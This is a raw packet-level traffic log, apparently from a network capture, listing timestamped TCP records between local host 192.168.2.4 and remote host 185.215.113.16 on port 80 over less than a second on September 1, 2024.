Sep 1, 2024 05:09:06.990531921 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.990542889 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.990572929 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.990592957 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.991381884 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.991425991 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.991427898 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.991439104 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.991478920 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.991492987 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.991503954 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.991513968 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.991535902 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.991571903 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.992376089 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.992425919 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.992505074 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.992515087 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.992525101 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.992536068 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.992547035 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.992557049 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.992589951 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.993365049 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.993415117 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.993419886 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.993459940 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.138147116 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138168097 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138178110 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138222933 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.138248920 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.138272047 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138288021 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138298035 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138307095 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138318062 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.138353109 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.138427019 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138436079 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138444901 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138453960 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138463020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138470888 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138475895 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.138499022 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.138514042 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.138571024 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138581991 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138591051 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138605118 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138622999 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.138650894 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.138678074 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138689041 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138722897 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.138782024 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138792038 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138801098 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138811111 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138834953 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.138851881 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.138947964 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138957977 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138967037 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138976097 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138984919 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.138993979 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139002085 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.139003038 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139012098 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139013052 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.139024019 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139045000 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.139067888 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.139596939 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139605999 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139615059 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139648914 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.139664888 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.139688969 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139698982 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139708042 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139718056 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139740944 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.139769077 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.139776945 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139786959 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139825106 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.139897108 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139906883 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139914989 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139924049 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139931917 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139940023 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139945030 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.139952898 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.139970064 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.139990091 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.140531063 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140541077 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140548944 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140579939 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.140603065 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.140614033 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140623093 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140629053 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140636921 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140671968 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.140698910 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.140821934 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140830994 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140840054 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140847921 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140861034 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140870094 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140875101 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.140880108 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140888929 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140898943 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.140911102 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.140929937 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.141426086 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.141441107 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.141449928 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.141474009 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.141503096 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.141936064 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.141944885 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.141953945 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.141966105 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.141976118 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.141983986 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.141993046 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.141995907 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.142000914 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.142010927 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.142014980 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.142023087 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.142024994 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.142047882 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.142071009 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.222018003 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222062111 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222071886 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222095966 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.222100019 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222121000 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222125053 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.222145081 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222153902 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222168922 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.222192049 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.222192049 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222235918 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.222270012 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222279072 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222287893 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222320080 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.222330093 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.222348928 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222379923 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222389936 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222404003 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.222434044 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222435951 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.222471952 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.222480059 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.222522020 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.284116983 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284169912 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284179926 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284282923 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284306049 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.284328938 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284341097 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284359932 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.284382105 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284390926 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284395933 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.284400940 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284425020 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.284429073 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284436941 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284456968 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.284497976 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.284518957 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284528971 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284537077 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284554005 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284564018 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284564972 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.284573078 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284588099 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.284626961 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.284804106 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284813881 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284823895 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284838915 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284852982 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284857035 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.284936905 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284946918 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284956932 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284967899 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.284967899 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.284970045 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.284976006 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.284981012 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285002947 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285021067 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285031080 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285031080 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285068035 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285084009 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285155058 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285164118 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285172939 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285186052 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285213947 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285233974 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285238981 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285276890 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285300016 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285310030 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285319090 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285353899 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285381079 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285382986 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285425901 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285458088 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285468102 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285478115 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285511017 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285530090 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285537004 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285542011 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285573959 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285594940 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285672903 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285682917 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285691977 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285725117 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285752058 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285799980 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285852909 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285854101 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285862923 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285887957 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285897970 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.285901070 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.285933018 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.289186001 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289203882 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289213896 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289233923 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.289251089 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289254904 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.289294958 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.289318085 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289328098 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289336920 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289347887 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289371967 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.289398909 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.289427996 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289441109 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289449930 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289458990 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289468050 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289474010 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.289477110 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289486885 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289503098 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.289530993 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.289707899 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289717913 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289726973 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289758921 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.289779902 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.289796114 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289845943 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.289872885 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289882898 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289891958 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289923906 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.289937973 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.289947987 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.289983988 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290046930 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290056944 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290066957 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290096998 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290112972 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290122032 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290123940 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290131092 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290138960 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290162086 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290189981 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290257931 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290307045 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290326118 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290335894 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290349007 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290358067 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290383101 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290416002 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290538073 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290585995 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290606976 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290616989 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290657043 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290668964 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290677071 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290685892 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290695906 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290724039 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290745974 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290762901 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290779114 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290788889 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290808916 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290838957 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290894985 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290904999 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290916920 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290925980 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290939093 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290947914 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.290949106 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290970087 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.290991068 CEST	49738	80	192.168.2.4	185.215.113.16
